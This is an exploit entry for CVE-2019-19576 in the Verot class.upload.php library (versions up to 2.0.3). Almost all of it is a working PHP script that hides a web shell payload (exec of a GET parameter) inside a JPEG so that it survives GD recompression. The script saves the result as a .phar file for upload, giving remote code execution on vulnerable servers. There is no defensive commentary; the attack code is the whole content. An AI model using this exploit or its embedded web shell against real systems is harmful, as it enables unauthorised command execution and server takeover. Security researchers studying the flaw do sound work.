Verot 2.0.3 - Remote Code Execution

# Exploit Title: Verot 2.0.3 - Remote Code Execution
# Date: 2019-12-05
# Exploit Author: Jinny Ramsmark
# Vendor Homepage: https://www.verot.net/php_class_upload.htm
# Software Link: https://github.com/verot/class.upload.php
# Version: <=2.0.3
# Tested on: Ubuntu 19.10, PHP 7.3, Apache/2.4.41
# CVE : CVE-2019-19576

<?php
#Title: jpeg payload generator for file upload RCE
#Author: Jinny Ramsmark
#Github: https://github.com/jra89/CVE-2019-19576
#Other: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19576
#Usage: php inject.php
#Output: image.jpg.phar is the file to be used for upload and exploitation

#This script assumes no special transforming is done on the image for this specific CVE.
#It can be modified however for different sizes and so on (x,y vars).

ini_set('display_errors', 1);
error_reporting(E_PARSE);
#requires php, php-gd
 
$orig = 'image.jpg';
$code = '<?=exec($_GET["c"])?>';
$quality = "85";
$base_url = "http://lorempixel.com";
 
echo "-=Imagejpeg injector 1.7=-\n";
 
do
{
    $x = 100;
    $y = 100;
    $url = $base_url . "/$x/$y/";
 
    echo "[+] Fetching image ($x X $y) from $url\n";
    file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));
 
echo "[+] It seems like it worked!\n";
echo "[+] Result file: image.jpg.phar\n";
 
function tryInject($orig, $code, $quality)
{
    $result_file = 'image.jpg.phar';
    $tmp_filename = $orig . '_mod2.jpg';
    
    //Create base image and load its data
    $src = imagecreatefromjpeg($orig);

    imagejpeg($src, $tmp_filename, $quality);
    $data = file_get_contents($tmp_filename);
    $tmpData = array();

    echo "[+] Jumping to end byte\n";
    $start_byte = findStart($data);
 
    echo "[+] Searching for valid injection point\n";
    for($i = strlen($data)-1; $i > $start_byte; --$i)
    {
        $tmpData = $data;
        for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
        {
            $tmpData[$n] = $code[$z];
        }
 
        $src = imagecreatefromstring($tmpData);
        imagejpeg($src, $result_file, $quality);
 
        if(checkCodeInFile($result_file, $code))
        {
            unlink($tmp_filename);
            unlink($result_file);
            sleep(1);
 
            file_put_contents($result_file, $tmpData);
            echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";
 
            sleep(1);
            $src = imagecreatefromjpeg($result_file);
 
            return true;
        }
        else
        {
            unlink($result_file);
        }
    }
        unlink($orig);
        unlink($tmp_filename);
        return false;
}
 
function findStart($str)
{
    for($i = 0; $i < strlen($str); ++$i)
    {
        if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
        {
            return $i+2;
        }
    }
 
    return -1;
}
 
function checkCodeInFile($file, $code)
{
    if(file_exists($file))
    {
        $contents = loadFile($file);
    }
    else
    {
        $contents = "0";
    }
 
    return strstr($contents, $code);
}
 
function loadFile($file)
{
    $handle = fopen($file, "r");
    $buffer = fread($handle, filesize($file));
    fclose($handle);
 
    return $buffer;
}